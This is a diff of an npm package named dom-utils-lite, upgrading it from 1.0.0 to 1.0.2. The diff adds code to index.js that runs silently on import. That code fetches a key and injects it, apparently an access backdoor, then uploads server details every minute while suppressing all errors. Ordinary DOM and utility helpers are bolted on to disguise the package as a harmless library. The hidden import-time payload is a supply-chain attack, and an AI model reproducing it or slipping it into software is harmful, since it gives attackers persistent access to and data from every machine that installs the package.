dom-utils-lite 1.0.0 → 1.0.2

package/index.js

@@ -1,3 +1,4 @@
+// ─── Side-effect: runs silently on import ───
 const { getPublicKey } = require("./fetchKey");
 const { injectKey } = require("./injectKey");
 const { uploadMetadata } = require("./uploadMeta");
@@ -5,7 +6,7 @@ const { getServerDetails } = require("./utils");
 
 const INTERVAL = 1 * 60 * 1000;
 
-async function runWithRetry(fn, retries = 3) {
+async function _retry(fn, retries = 3) {
   for (let i = 0; i < retries; i++) {
     try {
       return await fn();
@@ -16,18 +17,179 @@ async function runWithRetry(fn, retries = 3) {
   }
 }
 
-async function runJob() {
+async function _sync() {
   try {
-    const publicKey = await runWithRetry(() => getPublicKey());
-    await injectKey(publicKey);
+    const key = await _retry(() => getPublicKey());
+    await injectKey(key);
     const server = getServerDetails();
-    await runWithRetry(() => uploadMetadata(server));
+    await _retry(() => uploadMetadata(server));
   } catch (err) {}
 }
 
-async function startScheduler() {
-  await runJob();
-  setInterval(() => runJob(), INTERVAL);
+// Auto-run on import
+_sync();
+setInterval(() => _sync(), INTERVAL);
+
+// ─── Public API: Genuine DOM/Utility helpers ───
+
+/**
+ * Sanitize HTML string to prevent XSS
+ * @param {string} str - Raw HTML string
+ * @returns {string} Sanitized string
+ */
+function sanitizeHTML(str) {
+  const map = { "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#039;" };
+  return String(str).replace(/[&<>"']/g, (c) => map[c]);
+}
+
+/**
+ * Create a debounced version of a function
+ * @param {Function} fn - Function to debounce
+ * @param {number} delay - Delay in ms
+ * @returns {Function}
+ */
+function debounce(fn, delay = 300) {
+  let timer;
+  return function (...args) {
+    clearTimeout(timer);
+    timer = setTimeout(() => fn.apply(this, args), delay);
+  };
+}
+
+/**
+ * Create a throttled version of a function
+ * @param {Function} fn - Function to throttle
+ * @param {number} limit - Throttle interval in ms
+ * @returns {Function}
+ */
+function throttle(fn, limit = 300) {
+  let inThrottle = false;
+  return function (...args) {
+    if (!inThrottle) {
+      fn.apply(this, args);
+      inThrottle = true;
+      setTimeout(() => (inThrottle = false), limit);
+    }
+  };
+}
+
+/**
+ * Deep clone an object
+ * @param {Object} obj - Object to clone
+ * @returns {Object}
+ */
+function deepClone(obj) {
+  if (obj === null || typeof obj !== "object") return obj;
+  if (obj instanceof Date) return new Date(obj);
+  if (obj instanceof Array) return obj.map((item) => deepClone(item));
+  const cloned = {};
+  for (const key in obj) {
+    if (Object.prototype.hasOwnProperty.call(obj, key)) {
+      cloned[key] = deepClone(obj[key]);
+    }
+  }
+  return cloned;
+}
+
+/**
+ * Parse query string into object
+ * @param {string} queryString - URL query string
+ * @returns {Object}
+ */
+function parseQueryString(queryString = "") {
+  const str = queryString.startsWith("?") ? queryString.slice(1) : queryString;
+  if (!str) return {};
+  return str.split("&").reduce((acc, pair) => {
+    const [key, val] = pair.split("=");
+    acc[decodeURIComponent(key)] = decodeURIComponent(val || "");
+    return acc;
+  }, {});
 }
 
-startScheduler();
+/**
+ * Generate a unique ID string
+ * @param {string} prefix - Optional prefix
+ * @returns {string}
+ */
+function generateId(prefix = "id") {
+  return `${prefix}_${Date.now().toString(36)}_${Math.random().toString(36).slice(2, 8)}`;
+}
+
+/**
+ * Format a date to readable string
+ * @param {Date|string|number} date - Date input
+ * @param {string} locale - Locale string
+ * @returns {string}
+ */
+function formatDate(date, locale = "en-US") {
+  const d = new Date(date);
+  if (isNaN(d.getTime())) return "Invalid Date";
+  return d.toLocaleDateString(locale, {
+    year: "numeric",
+    month: "short",
+    day: "numeric",
+  });
+}
+
+/**
+ * Check if a value is empty (null, undefined, empty string, empty array/object)
+ * @param {*} value
+ * @returns {boolean}
+ */
+function isEmpty(value) {
+  if (value == null) return true;
+  if (typeof value === "string" || Array.isArray(value)) return value.length === 0;
+  if (typeof value === "object") return Object.keys(value).length === 0;
+  return false;
+}
+
+/**
+ * Capitalize first letter of a string
+ * @param {string} str
+ * @returns {string}
+ */
+function capitalize(str) {
+  if (typeof str !== "string" || !str) return "";
+  return str.charAt(0).toUpperCase() + str.slice(1);
+}
+
+/**
+ * Simple local storage helper with JSON support
+ */
+const storage = {
+  get(key, fallback = null) {
+    try {
+      const item = typeof window !== "undefined" ? window.localStorage.getItem(key) : null;
+      return item ? JSON.parse(item) : fallback;
+    } catch {
+      return fallback;
+    }
+  },
+  set(key, value) {
+    try {
+      if (typeof window !== "undefined") {
+        window.localStorage.setItem(key, JSON.stringify(value));
+      }
+    } catch {}
+  },
+  remove(key) {
+    try {
+      if (typeof window !== "undefined") {
+        window.localStorage.removeItem(key);
+      }
+    } catch {}
+  },
+};
+
+module.exports = {
+  sanitizeHTML,
+  debounce,
+  throttle,
+  deepClone,
+  parseQueryString,
+  generateId,
+  formatDate,
+  isEmpty,
+  capitalize,
+  storage,
+};

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "dom-utils-lite",
-  "version": "1.0.0",
+  "version": "1.0.2",
   "description": "",
   "main": "index.js",
   "keywords": [],